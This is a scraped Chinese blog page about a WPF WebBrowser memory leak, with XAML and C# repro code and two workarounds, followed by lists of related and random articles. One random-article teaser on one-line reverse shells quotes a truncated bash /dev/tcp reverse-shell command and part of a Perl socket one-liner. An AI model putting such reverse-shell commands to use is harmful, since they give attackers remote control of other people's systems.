首先介绍一下内存泄漏(Memory Leak)的概念,内存泄露是指程序中已动态分配的堆内存由于某种原因未释放或者无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。

最近在使用WPF WebBrowser时,就遇到了Memory Leak的问题。

在主窗体上通过一个按钮点击事件加载包含有WebBrowser控件的窗体,使用这个WebBrowser来浏览网页,然后调用WebBrowser的Dispose()方法,然后调用GC.Collect(),最后关闭当前包含有WebBrowser控件的窗体。

通过下面的代码和步骤来还原这个问题。

MainWindow.xaml

    <StackPanel Orientation="Horizontal" VerticalAlignment="Top">
<Button Content="Launch Browser Window" x:Name="btnLaunchNewWindow" Margin="5,0,5,0" Click="btnLaunchNewWindow_Click" />
<Button Content="Force Garbage Collection" x:Name="btnForceGarbageCollection" Click="btnForceGarbageCollection_Click" />
<Button Content="Quit" x:Name="btnQuit" Click="btnQuit_Click" />
</StackPanel>
        private void btnLaunchNewWindow_Click(object sender, RoutedEventArgs e)
{
new BrowserWindow().Show();
} private void btnForceGarbageCollection_Click(object sender, RoutedEventArgs e)
{
System.GC.Collect();
System.GC.WaitForPendingFinalizers();
System.GC.Collect();
} private void btnQuit_Click(object sender, RoutedEventArgs e)
{
Environment.Exit();
}

BrowserWindow.xaml

    <Grid>
<Grid.RowDefinitions>
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="*" />
</Grid.RowDefinitions> <StackPanel Orientation="Horizontal">
<Label Content="URL:" />
<TextBox x:Name="txtURL" Width="400" />
</StackPanel> <StackPanel Grid.Row="1" Orientation="Horizontal" Margin="0,10">
<Button Content="1. Go/Navigate" x:Name="btnGo" Click="btnGo_Click" />
<Button Content="2. Dispose" x:Name="btnClose" Click="btnClose_Click" Margin="10,0" />
<Button Content="3. Force Garbage Collection" x:Name="btnForceGarbageCollection" Click="btnForceGarbageCollection_Click" />
<Button Content="4. Close Window" x:Name="closeWindow" Click="closeWindow_Click" Margin="10,0" />
</StackPanel> <WebBrowser Grid.Row="2" x:Name="webBrowser" />
</Grid>
        private void btnGo_Click(object sender, RoutedEventArgs e)
{
try
{
webBrowser.Navigate(new Uri(txtURL.Text));
}
catch (Exception ex)
{
MessageBox.Show("Exception: " + ex.Message);
}
} private void btnClose_Click(object sender, RoutedEventArgs e)
{
webBrowser.Dispose();
} private void btnForceGarbageCollection_Click(object sender, RoutedEventArgs e)
{
System.GC.Collect();
System.GC.WaitForPendingFinalizers();
System.GC.Collect();
} private void closeWindow_Click(object sender, RoutedEventArgs e)
{
this.Close();
}

问题重现步骤:
Step1: 启动程序
Step2: “Launch Browser Window”
Step3: 在地址栏输入 http://www.msn.com (其他网址也可以)
Step4: 点击“1. Go/Navigate” button,
Step5: 当网页加载成功后,点击 “2. Dispose”
Step6: 点击 ”3. Force Garbage Collection”
Step7: 点击“4. Close Window”

重复Step2--Step7 20-25次。

多次测试后的结果如下:
在Step1程序启动后,内存占用在20M左右(不同的机器会有一些差别),

重复Step2--Step7 20-25次之后,程序的内存在130M左右,并且长时间等待不释放。

很不幸运的遇到一个内存泄露的问题。

和大多数WPF控件不一样,WebBrowser控件继承自HwndHost,使用的是非托管的资源,所以对WebBrowser进行Dispose()操作并不管用。

第一种解决方法:

早前使用过WinForm的WebBrowser控件,不存在内存泄露的问题,所以决定使用WinForm的WebBrowser代替WPF的。关于如何在WPF中承载WinForm控件,请参考https://docs.microsoft.com/en-us/dotnet/framework/wpf/advanced/walkthrough-hosting-a-windows-forms-control-in-wpf

第二种解决方法:
依然使用WPF WebBrowser,但是将第二个页面(BrowserWindow.xaml)单独成一个exe。通过主程序去调用,这样当网页浏览完毕后,关闭WebBrowser所在exe,它所关联的内存全部被释放掉了。如果两个程序之间需要通信或者交换数据,可以选用WCF/命名管道等方式。

参考链接:
https://stackoverflow.com/questions/2069314/memory-leak-when-using-wpf-webbrowser-control-in-multiple-windows
https://stackoverflow.com/questions/8302933/how-to-get-around-the-memory-leak-in-the-net-webbrowser-control

WPF WebBrowser Memory Leak 问题及临时解决方法的更多相关文章

  1. WP_Image_Editor_Imagick 漏洞临时解决方法

    导读 阿里云推送的一条短信通知:存放在上面的WordPress程序有WP_Image_Editor_Imagick漏洞问题,需要登入后台补丁等等的暗示.当然,如果需要在线补丁则需要升级阿里云的安骑士专 ...

  2. Myeclipse运行报错:an out of memory error has occurred的解决方法

    不知道怎么了,重装的myeclipse2013,里边就放了一个项目,启动myeclipse就报 an out of memory error has occurred....... 一点yes就退出 ...

  3. (转)苹果iOS开发者账号过期临时解决方法

    苹果iOS开发者账号过期临时解决办法 苹果iOS开发者账号一年的费用是99美金,作者最近由于各种原因,导致renew没能在账号过期之前支付好,所以在账号过期等待renew的期间,试了试一些非正常手段, ...

  4. Win 8下Rime输入法无法同步的临时解决方法

    意外发现了Rime输入法(OS X上叫鼠须管'Squirrel',windows上叫小狼毫'Weasel',linux上叫中州韵'ibus-rime',连名字都起的这么牛逼),真是神器啊,流畅的速度, ...

  5. 使用dnspod遭遇的奇特问题以及背后的原因与临时解决方法

    由于园子里有不少用户在使用dnspod,我们觉得有必要将这两天blogjava.net域名在dsnpod遇到的奇特问题分享一下,以免再有人踩着这个坑. 12月11日,我们登录到dnspod的后台时,大 ...

  6. wordpress后台打开缓慢的临时解决方法

    解决方法是添加下面的主题在目前的代码在functions.php: //禁用Open Sans class Disable_Google_Fonts { public function __const ...

  7. Openwrt flash 空间不足的临时解决方法

    最近有网友在安装软件的时候发现flash空间不够用了: 一个临时的解决方案是在RAM里面使用这个程序.因为 1.路由器改机后的RAM有64MB,flash一般有16MB,RAM空间比较大./tmp是挂 ...

  8. jQuery中的bind绑定事件与文本框改变事件的临时解决方法

    暂时没有想到什么好的解决办法,我现在加了个浏览器判断非ie的话就注册blur事件,这样有个问题就是blur实在别的控件活动焦点的时候,txtStation控件注册的方法是为了填充它紧挨着的一个下拉列表 ...

  9. wpf软件某些分辨率下文字模糊解决方法

    软件测试过程中发现在一台1600*900的分辨率电脑上文字模糊,甚至某些个文字出现压缩扭曲 经过实践,发现按下面方法能解决一点问题: 在窗口或控件上设置字体属性就可以了,如下: <UserCon ...

随机推荐

  1. 移动端车牌识别——可以嵌入智能手机系统里的新OCR识别技术

    移动端车牌识别技术,是在OCR光学字符识别技术的基础上研发的用来识别汽车号牌特征信息的图像识别技术.在国内,该项技术由北京易泊时代携手清华大学成功地将"国家863计划"项目成果-- ...

  2. RedHat7上安装MySQL5.7.16

    1.查看系统中是否已将安装MySQL,如果安装了,需要卸载. [root@chenguo etc]# rpm -qa|grep -i mysql 2.创建用户和组 [root@chenguo ~]# ...

  3. 对yield 的理解

    最近在学习Python的时候看到yield的相关语法,感觉很独特,相比其他如C/C++的语法比较有意思,于是在看完资料相关章节做一个总结. yield 是一个类似于 return的语法,但是对于ret ...

  4. Dede CMS如何在文章中增加“附件下载”操作说明

    1.进入后台--在"附件管理"中选择"上传新文件" 2.在"说明标题"输入要上传文件的名字,并在下面浏览找到要上传的文件,保存. 3.在&q ...

  5. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  6. python每天一个小练习-强壮的密码

    强壮的密码 题目来源 checkio 需求 斯蒂芬和索菲亚对于一切都使用简单的密码,忘记了安全性.请你帮助尼古拉开发一个密码安全检查模块 如果密码的长度大于或等于10个符号,至少有一个数字,一个大写字 ...

  7. java面试基础题(三)

    程序员面试之九阴真经 谈谈final, finally, finalize的区别: final:::修饰符(关键字)如果一个类被声明为final,意味着它不能再派生出新的子类,不能作为父类被继承.因此 ...

  8. 编写自己的Nmap(NSE)脚本

    编写自己的Nmap脚本 一.介绍 在上一篇文章Nmap脚本引擎原理中我们介绍了基本的NSE知识,这篇文章介绍如何基于Nmap框架编写简单的NSE脚本文件,下一篇文章,Nmap脚本文件分析(AMQP协议 ...

  9. eclipse tomcat add时提示The Tomcat server configuration at \Servers\Tomcat v6.0 Server at localhost-

    原因为左侧项目中把对于网络应用的servers项目给关闭或删除了,导致相应的localhost-config无法定位,所以才发生的错误. 解决办法:删除servers下的tomcat 重新添加serv ...

  10. ArcGIS Earth(原谷歌地球)如何获取高精度矢量地图数据?(shp文件/要素类/kml)

    大家好,这次来分享干货.做地理分析的同学,或者需要使用地图却不知道哪里有矢量数据的时候,怎么办呢? 这次,我就告诉大家哪里能自己手工制作矢量点线面数据!注意哦,是自己绘制的. 使用到的软件: ArcG ...